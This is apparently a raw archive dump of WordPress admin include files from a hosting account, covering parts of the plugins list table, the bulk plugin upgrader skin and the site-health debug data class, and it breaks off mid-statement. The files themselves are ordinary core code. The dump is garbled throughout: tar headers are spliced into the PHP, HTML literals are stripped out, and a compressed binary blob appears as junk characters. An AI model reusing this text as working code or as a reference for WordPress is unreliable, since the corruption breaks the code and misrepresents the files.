', $time_class, wp_get_auto_update_message() ); } $html = implode( '', $html ); /** * Filters the HTML of the auto-updates setting for each plugin in the Plugins list table. * * @since 5.5.0 * * @param string $html The HTML of the plugin's auto-update column content, * including toggle auto-update action links and * time to next update. * @param string $plugin_file Path to the plugin file relative to the plugins directory. * @param array $plugin_data An array of plugin data. See `get_plugin_data()` * and the {@see 'plugin_row_meta'} filter for the list * of possible values. */ echo apply_filters( 'plugin_auto_update_setting_html', $html, $plugin_file, $plugin_data ); echo ''; echo ''; break; default: $classes = "$column_name column-$column_name $class"; echo ""; /** * Fires inside each custom column of the Plugins list table. * * @since 3.1.0 * * @param string $column_name Name of the column. * @param string $plugin_file Path to the plugin file relative to the plugins directory. * @param array $plugin_data An array of plugin data. See `get_plugin_data()` * and the {@see 'plugin_row_meta'} filter for the list * of possible values. */ do_action( 'manage_plugins_custom_column', $column_name, $plugin_file, $plugin_data ); echo ''; } } echo ''; if ( ! $compatible_php || ! $compatible_wp ) { printf( '' . '' . '

', esc_attr( $this->get_column_count() ) ); if ( ! $compatible_php && ! $compatible_wp ) { _e( 'This plugin does not work with your versions of WordPress and PHP.' ); if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) { printf( /* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */ ' ' . __( 'Please update WordPress, and then learn more about updating PHP.' ), self_admin_url( 'update-core.php' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } elseif ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( 'Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } elseif ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( 'Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } } elseif ( ! $compatible_wp ) { _e( 'This plugin does not work with your version of WordPress.' ); if ( current_user_can( 'update_core' ) ) { printf( /* translators: %s: URL to WordPress Updates screen. */ ' ' . __( 'Please update WordPress.' ), self_admin_url( 'update-core.php' ) ); } } elseif ( ! $compatible_php ) { _e( 'This plugin does not work with your version of PHP.' ); if ( current_user_can( 'update_php' ) ) { printf( /* translators: %s: URL to Update PHP page. */ ' ' . __( 'Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); wp_update_php_annotation( '

', '' ); } } echo '

'; } /** * Fires after each row in the Plugins list table. * * @since 2.3.0 * @since 5.5.0 Added 'auto-update-enabled' and 'auto-update-disabled' * to possible values for `$status`. * * @param string $plugin_file Path to the plugin file relative to the plugins directory. * @param array $plugin_data An array of plugin data. See `get_plugin_data()` * and the {@see 'plugin_row_meta'} filter for the list * of possible values. * @param string $status Status filter currently applied to the plugin list. * Possible values are: 'all', 'active', 'inactive', * 'recently_activated', 'upgrade', 'mustuse', 'dropins', * 'search', 'paused', 'auto-update-enabled', 'auto-update-disabled'. */ do_action( 'after_plugin_row', $plugin_file, $plugin_data, $status ); /** * Fires after each specific row in the Plugins list table. * * The dynamic portion of the hook name, `$plugin_file`, refers to the path * to the plugin file, relative to the plugins directory. * * @since 2.7.0 * @since 5.5.0 Added 'auto-update-enabled' and 'auto-update-disabled' * to possible values for `$status`. * * @param string $plugin_file Path to the plugin file relative to the plugins directory. * @param array $plugin_data An array of plugin data. See `get_plugin_data()` * and the {@see 'plugin_row_meta'} filter for the list * of possible values. * @param string $status Status filter currently applied to the plugin list. * Possible values are: 'all', 'active', 'inactive', * 'recently_activated', 'upgrade', 'mustuse', 'dropins', * 'search', 'paused', 'auto-update-enabled', 'auto-update-disabled'. */ do_action( "after_plugin_row_{$plugin_file}", $plugin_file, $plugin_data, $status ); } /** * Gets the name of the primary column for this specific list table. * * @since 4.3.0 * * @return string Unalterable name for the primary column, in this case, 'name'. */ protected function get_primary_column_name() { return 'name'; } } class-bulk-plugin-upgrader-skin.php.tar000064400000010000152377531730014153 0ustar00home/quizenacom/public_html/wp-admin/includes/class-bulk-plugin-upgrader-skin.php000064400000004021152377461740024326 0ustar00upgrader->strings['skin_before_update_header'] = __( 'Updating Plugin %1$s (%2$d/%3$d)' ); } /** * @param string $title */ public function before( $title = '' ) { parent::before( $this->plugin_info['Title'] ); } /** * @param string $title */ public function after( $title = '' ) { parent::after( $this->plugin_info['Title'] ); $this->decrement_update_count( 'plugin' ); } /** */ public function bulk_footer() { parent::bulk_footer(); $update_actions = array( 'plugins_page' => sprintf( '%s', self_admin_url( 'plugins.php' ), __( 'Go to Plugins page' ) ), 'updates_page' => sprintf( '%s', self_admin_url( 'update-core.php' ), __( 'Go to WordPress Updates page' ) ), ); if ( ! current_user_can( 'activate_plugins' ) ) { unset( $update_actions['plugins_page'] ); } /** * Filters the list of action links available following bulk plugin updates. * * @since 3.0.0 * * @param string[] $update_actions Array of plugin action links. * @param array $plugin_info Array of information for the last-updated plugin. */ $update_actions = apply_filters( 'update_bulk_plugins_complete_actions', $update_actions, $this->plugin_info ); if ( ! empty( $update_actions ) ) { $this->feedback( implode( ' | ', (array) $update_actions ) ); } } } class-ftp-pure.php.php.tar.gz000064400000003316152377531730012134 0ustar00XSFίX4d3Lp`e%ywߵ}a';{)\W[-> lO;b"kWxS8J*򞫯؎ai N'iTbCZ~J&'I%zlØ"#+NQ]LJLkB02Y$"܌ ߤ 0k];(KvPf >ptf!}͜UL핂^KQvf)w1%:*M nuxQAq+`O8 S}^ 'UHfYJ8a`Sgk[vgvNc|ni9-EibcbOd,rlęDiO.>̄&^`^ܗӽ܇uRBsLIY`t}xO&/K5gY0Ҕt))O}^y=oUq}class-wp-debug-data.php.tar000064400000171000152377531730011602 0ustar00home/quizenacom/public_html/wp-admin/includes/class-wp-debug-data.php000064400000165214152377462000021747 0ustar00 $update ) { if ( 'upgrade' === $update->response ) { /* translators: %s: Latest WordPress version number. */ $core_update_needed = ' ' . sprintf( __( '(Latest version: %s)' ), $update->version ); } else { $core_update_needed = ''; } } } // Set up the array that holds all debug information. $info = array(); $info['wp-core'] = array( 'label' => __( 'WordPress' ), 'fields' => array( 'version' => array( 'label' => __( 'Version' ), 'value' => $core_version . $core_update_needed, 'debug' => $core_version, ), 'site_language' => array( 'label' => __( 'Site Language' ), 'value' => get_locale(), ), 'user_language' => array( 'label' => __( 'User Language' ), 'value' => get_user_locale(), ), 'timezone' => array( 'label' => __( 'Timezone' ), 'value' => wp_timezone_string(), ), 'home_url' => array( 'label' => __( 'Home URL' ), 'value' => get_bloginfo( 'url' ), 'private' => true, ), 'site_url' => array( 'label' => __( 'Site URL' ), 'value' => get_bloginfo( 'wpurl' ), 'private' => true, ), 'permalink' => array( 'label' => __( 'Permalink structure' ), 'value' => $permalink_structure ? $permalink_structure : __( 'No permalink structure set' ), 'debug' => $permalink_structure, ), 'https_status' => array( 'label' => __( 'Is this site using HTTPS?' ), 'value' => $is_ssl ? __( 'Yes' ) : __( 'No' ), 'debug' => $is_ssl, ), 'multisite' => array( 'label' => __( 'Is this a multisite?' ), 'value' => $is_multisite ? __( 'Yes' ) : __( 'No' ), 'debug' => $is_multisite, ), 'user_registration' => array( 'label' => __( 'Can anyone register on this site?' ), 'value' => $users_can_register ? __( 'Yes' ) : __( 'No' ), 'debug' => $users_can_register, ), 'blog_public' => array( 'label' => __( 'Is this site discouraging search engines?' ), 'value' => $blog_public ? __( 'No' ) : __( 'Yes' ), 'debug' => $blog_public, ), 'default_comment_status' => array( 'label' => __( 'Default comment status' ), 'value' => 'open' === $default_comment_status ? _x( 'Open', 'comment status' ) : _x( 'Closed', 'comment status' ), 'debug' => $default_comment_status, ), 'environment_type' => array( 'label' => __( 'Environment type' ), 'value' => $environment_type, 'debug' => $environment_type, ), ), ); if ( ! $is_multisite ) { $info['wp-paths-sizes'] = array( 'label' => __( 'Directories and Sizes' ), 'fields' => array(), ); } $info['wp-dropins'] = array( 'label' => __( 'Drop-ins' ), 'show_count' => true, 'description' => sprintf( /* translators: %s: wp-content directory name. */ __( 'Drop-ins are single files, found in the %s directory, that replace or enhance WordPress features in ways that are not possible for traditional plugins.' ), '' . str_replace( ABSPATH, '', WP_CONTENT_DIR ) . '' ), 'fields' => array(), ); $info['wp-active-theme'] = array( 'label' => __( 'Active Theme' ), 'fields' => array(), ); $info['wp-parent-theme'] = array( 'label' => __( 'Parent Theme' ), 'fields' => array(), ); $info['wp-themes-inactive'] = array( 'label' => __( 'Inactive Themes' ), 'show_count' => true, 'fields' => array(), ); $info['wp-mu-plugins'] = array( 'label' => __( 'Must Use Plugins' ), 'show_count' => true, 'fields' => array(), ); $info['wp-plugins-active'] = array( 'label' => __( 'Active Plugins' ), 'show_count' => true, 'fields' => array(), ); $info['wp-plugins-inactive'] = array( 'label' => __( 'Inactive Plugins' ), 'show_count' => true, 'fields' => array(), ); $info['wp-media'] = array( 'label' => __( 'Media Handling' ), 'fields' => array(), ); $info['wp-server'] = array( 'label' => __( 'Server' ), 'description' => __( 'The options shown below relate to your server setup. If changes are required, you may need your web host’s assistance.' ), 'fields' => array(), ); $info['wp-database'] = array( 'label' => __( 'Database' ), 'fields' => array(), ); // Check if WP_DEBUG_LOG is set. $wp_debug_log_value = __( 'Disabled' ); if ( is_string( WP_DEBUG_LOG ) ) { $wp_debug_log_value = WP_DEBUG_LOG; } elseif ( WP_DEBUG_LOG ) { $wp_debug_log_value = __( 'Enabled' ); } // Check CONCATENATE_SCRIPTS. if ( defined( 'CONCATENATE_SCRIPTS' ) ) { $concatenate_scripts = CONCATENATE_SCRIPTS ? __( 'Enabled' ) : __( 'Disabled' ); $concatenate_scripts_debug = CONCATENATE_SCRIPTS ? 'true' : 'false'; } else { $concatenate_scripts = __( 'Undefined' ); $concatenate_scripts_debug = 'undefined'; } // Check COMPRESS_SCRIPTS. if ( defined( 'COMPRESS_SCRIPTS' ) ) { $compress_scripts = COMPRESS_SCRIPTS ? __( 'Enabled' ) : __( 'Disabled' ); $compress_scripts_debug = COMPRESS_SCRIPTS ? 'true' : 'false'; } else { $compress_scripts = __( 'Undefined' ); $compress_scripts_debug = 'undefined'; } // Check COMPRESS_CSS. if ( defined( 'COMPRESS_CSS' ) ) { $compress_css = COMPRESS_CSS ? __( 'Enabled' ) : __( 'Disabled' ); $compress_css_debug = COMPRESS_CSS ? 'true' : 'false'; } else { $compress_css = __( 'Undefined' ); $compress_css_debug = 'undefined'; } // Check WP_ENVIRONMENT_TYPE. if ( defined( 'WP_ENVIRONMENT_TYPE' ) ) { $wp_environment_type = WP_ENVIRONMENT_TYPE; } else { $wp_environment_type = __( 'Undefined' ); } $info['wp-constants'] = array( 'label' => __( 'WordPress Constants' ), 'description' => __( 'These settings alter where and how parts of WordPress are loaded.' ), 'fields' => array( 'ABSPATH' => array( 'label' => 'ABSPATH', 'value' => ABSPATH, 'private' => true, ), 'WP_HOME' => array( 'label' => 'WP_HOME', 'value' => ( defined( 'WP_HOME' ) ? WP_HOME : __( 'Undefined' ) ), 'debug' => ( defined( 'WP_HOME' ) ? WP_HOME : 'undefined' ), ), 'WP_SITEURL' => array( 'label' => 'WP_SITEURL', 'value' => ( defined( 'WP_SITEURL' ) ? WP_SITEURL : __( 'Undefined' ) ), 'debug' => ( defined( 'WP_SITEURL' ) ? WP_SITEURL : 'undefined' ), ), 'WP_CONTENT_DIR' => array( 'label' => 'WP_CONTENT_DIR', 'value' => WP_CONTENT_DIR, ), 'WP_PLUGIN_DIR' => array( 'label' => 'WP_PLUGIN_DIR', 'value' => WP_PLUGIN_DIR, ), 'WP_MEMORY_LIMIT' => array( 'label' => 'WP_MEMORY_LIMIT', 'value' => WP_MEMORY_LIMIT, ), 'WP_MAX_MEMORY_LIMIT' => array( 'label' => 'WP_MAX_MEMORY_LIMIT', 'value' => WP_MAX_MEMORY_LIMIT, ), 'WP_DEBUG' => array( 'label' => 'WP_DEBUG', 'value' => WP_DEBUG ? __( 'Enabled' ) : __( 'Disabled' ), 'debug' => WP_DEBUG, ), 'WP_DEBUG_DISPLAY' => array( 'label' => 'WP_DEBUG_DISPLAY', 'value' => WP_DEBUG_DISPLAY ? __( 'Enabled' ) : __( 'Disabled' ), 'debug' => WP_DEBUG_DISPLAY, ), 'WP_DEBUG_LOG' => array( 'label' => 'WP_DEBUG_LOG', 'value' => $wp_debug_log_value, 'debug' => WP_DEBUG_LOG, ), 'SCRIPT_DEBUG' => array( 'label' => 'SCRIPT_DEBUG', 'value' => SCRIPT_DEBUG ? __( 'Enabled' ) : __( 'Disabled' ), 'debug' => SCRIPT_DEBUG, ), 'WP_CACHE' => array( 'label' => 'WP_CACHE', 'value' => WP_CACHE ? __( 'Enabled' ) : __( 'Disabled' ), 'debug' => WP_CACHE, ), 'CONCATENATE_SCRIPTS' => array( 'label' => 'CONCATENATE_SCRIPTS', 'value' => $concatenate_scripts, 'debug' => $concatenate_scripts_debug, ), 'COMPRESS_SCRIPTS' => array( 'label' => 'COMPRESS_SCRIPTS', 'value' => $compress_scripts, 'debug' => $compress_scripts_debug, ), 'COMPRESS_CSS' => array( 'label' => 'COMPRESS_CSS', 'value' => $compress_css, 'debug' => $compress_css_debug, ), 'WP_ENVIRONMENT_TYPE' => array( 'label' => 'WP_ENVIRONMENT_TYPE', 'value' => $wp_environment_type, 'debug' => $wp_environment_type, ), 'DB_CHARSET' => array( 'label' => 'DB_CHARSET', 'value' => ( defined( 'DB_CHARSET' ) ? DB_CHARSET : __( 'Undefined' ) ), 'debug' => ( defined( 'DB_CHARSET' ) ? DB_CHARSET : 'undefined' ), ), 'DB_COLLATE' => array( 'label' => 'DB_COLLATE', 'value' => ( defined( 'DB_COLLATE' ) ? DB_COLLATE : __( 'Undefined' ) ), 'debug' => ( defined( 'DB_COLLATE' ) ? DB_COLLATE : 'undefined' ), ), ), ); $is_writable_abspath = wp_is_writable( ABSPATH ); $is_writable_wp_content_dir = wp_is_writable( WP_CONTENT_DIR ); $is_writable_upload_dir = wp_is_writable( $upload_dir['basedir'] ); $is_writable_wp_plugin_dir = wp_is_writable( WP_PLUGIN_DIR ); $is_writable_template_directory = wp_is_writable( get_theme_root( get_template() ) ); $info['wp-filesystem'] = array( 'label' => __( 'Filesystem Permissions' ), 'description' => __( 'Shows whether WordPress is able to write to the directories it needs access to.' ), 'fields' => array( 'wordpress' => array( 'label' => __( 'The main WordPress directory' ), 'value' => ( $is_writable_abspath ? __( 'Writable' ) : __( 'Not writable' ) ), 'debug' => ( $is_writable_abspath ? 'writable' : 'not writable' ), ), 'wp-content' => array( 'label' => __( 'The wp-content directory' ), 'value' => ( $is_writable_wp_content_dir ? __( 'Writable' ) : __( 'Not writable' ) ), 'debug' => ( $is_writable_wp_content_dir ? 'writable' : 'not writable' ), ), 'uploads' => array( 'label' => __( 'The uploads directory' ), 'value' => ( $is_writable_upload_dir ? __( 'Writable' ) : __( 'Not writable' ) ), 'debug' => ( $is_writable_upload_dir ? 'writable' : 'not writable' ), ), 'plugins' => array( 'label' => __( 'The plugins directory' ), 'value' => ( $is_writable_wp_plugin_dir ? __( 'Writable' ) : __( 'Not writable' ) ), 'debug' => ( $is_writable_wp_plugin_dir ? 'writable' : 'not writable' ), ), 'themes' => array( 'label' => __( 'The themes directory' ), 'value' => ( $is_writable_template_directory ? __( 'Writable' ) : __( 'Not writable' ) ), 'debug' => ( $is_writable_template_directory ? 'writable' : 'not writable' ), ), ), ); // Conditionally add debug information for multisite setups. if ( is_multisite() ) { $network_query = new WP_Network_Query(); $network_ids = $network_query->query( array( 'fields' => 'ids', 'number' => 100, 'no_found_rows' => false, ) ); $site_count = 0; foreach ( $network_ids as $network_id ) { $site_count += get_blog_count( $network_id ); } $info['wp-core']['fields']['site_count'] = array( 'label' => __( 'Site count' ), 'value' => $site_count, ); $info['wp-core']['fields']['network_count'] = array( 'label' => __( 'Network count' ), 'value' => $network_query->found_networks, ); } $info['wp-core']['fields']['user_count'] = array( 'label' => __( 'User count' ), 'value' => get_user_count(), ); // WordPress features requiring processing. $wp_dotorg = wp_remote_get( 'https://wordpress.org', array( 'timeout' => 10 ) ); if ( ! is_wp_error( $wp_dotorg ) ) { $info['wp-core']['fields']['dotorg_communication'] = array( 'label' => __( 'Communication with WordPress.org' ), 'value' => __( 'WordPress.org is reachable' ), 'debug' => 'true', ); } else { $info['wp-core']['fields']['dotorg_communication'] = array( 'label' => __( 'Communication with WordPress.org' ), 'value' => sprintf( /* translators: 1: The IP address WordPress.org resolves to. 2: The error returned by the lookup. */ __( 'Unable to reach WordPress.org at %1$s: %2$s' ), gethostbyname( 'wordpress.org' ), $wp_dotorg->get_error_message() ), 'debug' => $wp_dotorg->get_error_message(), ); } // Remove accordion for Directories and Sizes if in Multisite. if ( ! $is_multisite ) { $loading = __( 'Loading…' ); $info['wp-paths-sizes']['fields'] = array( 'wordpress_path' => array( 'label' => __( 'WordPress directory location' ), 'value' => untrailingslashit( ABSPATH ), ), 'wordpress_size' => array( 'label' => __( 'WordPress directory size' ), 'value' => $loading, 'debug' => 'loading...', ), 'uploads_path' => array( 'label' => __( 'Uploads directory location' ), 'value' => $upload_dir['basedir'], ), 'uploads_size' => array( 'label' => __( 'Uploads directory size' ), 'value' => $loading, 'debug' => 'loading...', ), 'themes_path' => array( 'label' => __( 'Themes directory location' ), 'value' => get_theme_root(), ), 'themes_size' => array( 'label' => __( 'Themes directory size' ), 'value' => $loading, 'debug' => 'loading...', ), 'plugins_path' => array( 'label' => __( 'Plugins directory location' ), 'value' => WP_PLUGIN_DIR, ), 'plugins_size' => array( 'label' => __( 'Plugins directory size' ), 'value' => $loading, 'debug' => 'loading...', ), 'database_size' => array( 'label' => __( 'Database size' ), 'value' => $loading, 'debug' => 'loading...', ), 'total_size' => array( 'label' => __( 'Total installation size' ), 'value' => $loading, 'debug' => 'loading...', ), ); } // Get a list of all drop-in replacements. $dropins = get_dropins(); // Get dropins descriptions. $dropin_descriptions = _get_dropins(); // Spare few function calls. $not_available = __( 'Not available' ); foreach ( $dropins as $dropin_key => $dropin ) { $info['wp-dropins']['fields'][ sanitize_text_field( $dropin_key ) ] = array( 'label' => $dropin_key, 'value' => $dropin_descriptions[ $dropin_key ][0], 'debug' => 'true', ); } // Populate the media fields. $info['wp-media']['fields']['image_editor'] = array( 'label' => __( 'Active editor' ), 'value' => _wp_image_editor_choose(), ); // Get ImageMagic information, if available. if ( class_exists( 'Imagick' ) ) { // Save the Imagick instance for later use. $imagick = new Imagick(); $imagemagick_version = $imagick->getVersion(); } else { $imagemagick_version = __( 'Not available' ); } $info['wp-media']['fields']['imagick_module_version'] = array( 'label' => __( 'ImageMagick version number' ), 'value' => ( is_array( $imagemagick_version ) ? $imagemagick_version['versionNumber'] : $imagemagick_version ), ); $info['wp-media']['fields']['imagemagick_version'] = array( 'label' => __( 'ImageMagick version string' ), 'value' => ( is_array( $imagemagick_version ) ? $imagemagick_version['versionString'] : $imagemagick_version ), ); $imagick_version = phpversion( 'imagick' ); $info['wp-media']['fields']['imagick_version'] = array( 'label' => __( 'Imagick version' ), 'value' => ( $imagick_version ) ? $imagick_version : __( 'Not available' ), ); if ( ! function_exists( 'ini_get' ) ) { $info['wp-media']['fields']['ini_get'] = array( 'label' => __( 'File upload settings' ), 'value' => sprintf( /* translators: %s: ini_get() */ __( 'Unable to determine some settings, as the %s function has been disabled.' ), 'ini_get()' ), 'debug' => 'ini_get() is disabled', ); } else { // Get the PHP ini directive values. $post_max_size = ini_get( 'post_max_size' ); $upload_max_filesize = ini_get( 'upload_max_filesize' ); $max_file_uploads = ini_get( 'max_file_uploads' ); $effective = min( wp_convert_hr_to_bytes( $post_max_size ), wp_convert_hr_to_bytes( $upload_max_filesize ) ); // Add info in Media section. $info['wp-media']['fields']['file_uploads'] = array( 'label' => __( 'File uploads' ), 'value' => empty( ini_get( 'file_uploads' ) ) ? __( 'Disabled' ) : __( 'Enabled' ), 'debug' => 'File uploads is turned off', ); $info['wp-media']['fields']['post_max_size'] = array( 'label' => __( 'Max size of post data allowed' ), 'value' => $post_max_size, ); $info['wp-media']['fields']['upload_max_filesize'] = array( 'label' => __( 'Max size of an uploaded file' ), 'value' => $upload_max_filesize, ); $info['wp-media']['fields']['max_effective_size'] = array( 'label' => __( 'Max effective file size' ), 'value' => size_format( $effective ), ); $info['wp-media']['fields']['max_file_uploads'] = array( 'label' => __( 'Max number of files allowed' ), 'value' => number_format( $max_file_uploads ), ); } // If Imagick is used as our editor, provide some more information about its limitations. if ( 'WP_Image_Editor_Imagick' === _wp_image_editor_choose() && isset( $imagick ) && $imagick instanceof Imagick ) { $limits = array( 'area' => ( defined( 'imagick::RESOURCETYPE_AREA' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_AREA ) ) : $not_available ), 'disk' => ( defined( 'imagick::RESOURCETYPE_DISK' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_DISK ) : $not_available ), 'file' => ( defined( 'imagick::RESOURCETYPE_FILE' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_FILE ) : $not_available ), 'map' => ( defined( 'imagick::RESOURCETYPE_MAP' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_MAP ) ) : $not_available ), 'memory' => ( defined( 'imagick::RESOURCETYPE_MEMORY' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_MEMORY ) ) : $not_available ), 'thread' => ( defined( 'imagick::RESOURCETYPE_THREAD' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_THREAD ) : $not_available ), ); $limits_debug = array( 'imagick::RESOURCETYPE_AREA' => ( defined( 'imagick::RESOURCETYPE_AREA' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_AREA ) ) : 'not available' ), 'imagick::RESOURCETYPE_DISK' => ( defined( 'imagick::RESOURCETYPE_DISK' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_DISK ) : 'not available' ), 'imagick::RESOURCETYPE_FILE' => ( defined( 'imagick::RESOURCETYPE_FILE' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_FILE ) : 'not available' ), 'imagick::RESOURCETYPE_MAP' => ( defined( 'imagick::RESOURCETYPE_MAP' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_MAP ) ) : 'not available' ), 'imagick::RESOURCETYPE_MEMORY' => ( defined( 'imagick::RESOURCETYPE_MEMORY' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_MEMORY ) ) : 'not available' ), 'imagick::RESOURCETYPE_THREAD' => ( defined( 'imagick::RESOURCETYPE_THREAD' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_THREAD ) : 'not available' ), ); $info['wp-media']['fields']['imagick_limits'] = array( 'label' => __( 'Imagick Resource Limits' ), 'value' => $limits, 'debug' => $limits_debug, ); try { $formats = Imagick::queryFormats( '*' ); } catch ( Exception $e ) { $formats = array(); } $info['wp-media']['fields']['imagemagick_file_formats'] = array( 'label' => __( 'ImageMagick supported file formats' ), 'value' => ( empty( $formats ) ) ? __( 'Unable to determine' ) : implode( ', ', $formats ), 'debug' => ( empty( $formats ) ) ? 'Unable to determine' : implode( ', ', $formats ), ); } // Get GD information, if available. if ( function_exists( 'gd_info' ) ) { $gd = gd_info(); } else { $gd = false; } $info['wp-media']['fields']['gd_version'] = array( 'label' => __( 'GD version' ), 'value' => ( is_array( $gd ) ? $gd['GD Version'] : $not_available ), 'debug' => ( is_array( $gd ) ? $gd['GD Version'] : 'not available' ), ); $gd_image_formats = array(); $gd_supported_formats = array( 'GIF Create' => 'GIF', 'JPEG' => 'JPEG', 'PNG' => 'PNG', 'WebP' => 'WebP', 'BMP' => 'BMP', 'AVIF' => 'AVIF', 'HEIF' => 'HEIF', 'TIFF' => 'TIFF', 'XPM' => 'XPM', ); foreach ( $gd_supported_formats as $format_key => $format ) { $index = $format_key . ' Support'; if ( isset( $gd[ $index ] ) && $gd[ $index ] ) { array_push( $gd_image_formats, $format ); } } if ( ! empty( $gd_image_formats ) ) { $info['wp-media']['fields']['gd_formats'] = array( 'label' => __( 'GD supported file formats' ), 'value' => implode( ', ', $gd_image_formats ), ); } // Get Ghostscript information, if available. if ( function_exists( 'exec' ) ) { $gs = exec( 'gs --version' ); if ( empty( $gs ) ) { $gs = $not_available; $gs_debug = 'not available'; } else { $gs_debug = $gs; } } else { $gs = __( 'Unable to determine if Ghostscript is installed' ); $gs_debug = 'unknown'; } $info['wp-media']['fields']['ghostscript_version'] = array( 'label' => __( 'Ghostscript version' ), 'value' => $gs, 'debug' => $gs_debug, ); // Populate the server debug fields. if ( function_exists( 'php_uname' ) ) { $server_architecture = sprintf( '%s %s %s', php_uname( 's' ), php_uname( 'r' ), php_uname( 'm' ) ); } else { $server_architecture = 'unknown'; } if ( function_exists( 'phpversion' ) ) { $php_version_debug = phpversion(); // Whether PHP supports 64-bit. $php64bit = ( PHP_INT_SIZE * 8 === 64 ); $php_version = sprintf( '%s %s', $php_version_debug, ( $php64bit ? __( '(Supports 64bit values)' ) : __( '(Does not support 64bit values)' ) ) ); if ( $php64bit ) { $php_version_debug .= ' 64bit'; } } else { $php_version = __( 'Unable to determine PHP version' ); $php_version_debug = 'unknown'; } if ( function_exists( 'php_sapi_name' ) ) { $php_sapi = php_sapi_name(); } else { $php_sapi = 'unknown'; } $info['wp-server']['fields']['server_architecture'] = array( 'label' => __( 'Server architecture' ), 'value' => ( 'unknown' !== $server_architecture ? $server_architecture : __( 'Unable to determine server architecture' ) ), 'debug' => $server_architecture, ); $info['wp-server']['fields']['httpd_software'] = array( 'label' => __( 'Web server' ), 'value' => ( isset( $_SERVER['SERVER_SOFTWARE'] ) ? $_SERVER['SERVER_SOFTWARE'] : __( 'Unable to determine what web server software is used' ) ), 'debug' => ( isset( $_SERVER['SERVER_SOFTWARE'] ) ? $_SERVER['SERVER_SOFTWARE'] : 'unknown' ), ); $info['wp-server']['fields']['php_version'] = array( 'label' => __( 'PHP version' ), 'value' => $php_version, 'debug' => $php_version_debug, ); $info['wp-server']['fields']['php_sapi'] = array( 'label' => __( 'PHP SAPI' ), 'value' => ( 'unknown' !== $php_sapi ? $php_sapi : __( 'Unable to determine PHP SAPI' ) ), 'debug' => $php_sapi, ); // Some servers disable `ini_set()` and `ini_get()`, we check this before trying to get configuration values. if ( ! function_exists( 'ini_get' ) ) { $info['wp-server']['fields']['ini_get'] = array( 'label' => __( 'Server settings' ), 'value' => sprintf( /* translators: %s: ini_get() */ __( 'Unable to determine some settings, as the %s function has been disabled.' ), 'ini_get()' ), 'debug' => 'ini_get() is disabled', ); } else { $info['wp-server']['fields']['max_input_variables'] = array( 'label' => __( 'PHP max input variables' ), 'value' => ini_get( 'max_input_vars' ), ); $info['wp-server']['fields']['time_limit'] = array( 'label' => __( 'PHP time limit' ), 'value' => ini_get( 'max_execution_time' ), ); if ( WP_Site_Health::get_instance()->php_memory_limit !== ini_get( 'memory_limit' ) ) { $info['wp-server']['fields']['memory_limit'] = array( 'label' => __( 'PHP memory limit' ), 'value' => WP_Site_Health::get_instance()->php_memory_limit, ); $info['wp-server']['fields']['admin_memory_limit'] = array( 'label' => __( 'PHP memory limit (only for admin screens)' ), 'value' => ini_get( 'memory_limit' ), ); } else { $info['wp-server']['fields']['memory_limit'] = array( 'label' => __( 'PHP memory limit' ), 'value' => ini_get( 'memory_limit' ), ); } $info['wp-server']['fields']['max_input_time'] = array( 'label' => __( 'Max input time' ), 'value' => ini_get( 'max_input_time' ), ); $info['wp-server']['fields']['upload_max_filesize'] = array( 'label' => __( 'Upload max filesize' ), 'value' => ini_get( 'upload_max_filesize' ), ); $info['wp-server']['fields']['php_post_max_size'] = array( 'label' => __( 'PHP post max size' ), 'value' => ini_get( 'post_max_size' ), ); } if ( function_exists( 'curl_version' ) ) { $curl = curl_version(); $info['wp-server']['fields']['curl_version'] = array( 'label' => __( 'cURL version' ), 'value' => sprintf( '%s %s', $curl['version'], $curl['ssl_version'] ), ); } else { $info['wp-server']['fields']['curl_version'] = array( 'label' => __( 'cURL version' ), 'value' => $not_available, 'debug' => 'not available', ); } // SUHOSIN. $suhosin_loaded = ( extension_loaded( 'suhosin' ) || ( defined( 'SUHOSIN_PATCH' ) && constant( 'SUHOSIN_PATCH' ) ) ); $info['wp-server']['fields']['suhosin'] = array( 'label' => __( 'Is SUHOSIN installed?' ), 'value' => ( $suhosin_loaded ? __( 'Yes' ) : __( 'No' ) ), 'debug' => $suhosin_loaded, ); // Imagick. $imagick_loaded = extension_loaded( 'imagick' ); $info['wp-server']['fields']['imagick_availability'] = array( 'label' => __( 'Is the Imagick library available?' ), 'value' => ( $imagick_loaded ? __( 'Yes' ) : __( 'No' ) ), 'debug' => $imagick_loaded, ); // Pretty permalinks. $pretty_permalinks_supported = got_url_rewrite(); $info['wp-server']['fields']['pretty_permalinks'] = array( 'label' => __( 'Are pretty permalinks supported?' ), 'value' => ( $pretty_permalinks_supported ? __( 'Yes' ) : __( 'No' ) ), 'debug' => $pretty_permalinks_supported, ); // Check if a .htaccess file exists. if ( is_file( ABSPATH . '.htaccess' ) ) { // If the file exists, grab the content of it. $htaccess_content = file_get_contents( ABSPATH . '.htaccess' ); // Filter away the core WordPress rules. $filtered_htaccess_content = trim( preg_replace( '/\# BEGIN WordPress[\s\S]+?# END WordPress/si', '', $htaccess_content ) ); $filtered_htaccess_content = ! empty( $filtered_htaccess_content ); if ( $filtered_htaccess_content ) { /* translators: %s: .htaccess */ $htaccess_rules_string = sprintf( __( 'Custom rules have been added to your %s file.' ), '.htaccess' ); } else { /* translators: %s: .htaccess */ $htaccess_rules_string = sprintf( __( 'Your %s file contains only core WordPress features.' ), '.htaccess' ); } $info['wp-server']['fields']['htaccess_extra_rules'] = array( 'label' => __( '.htaccess rules' ), 'value' => 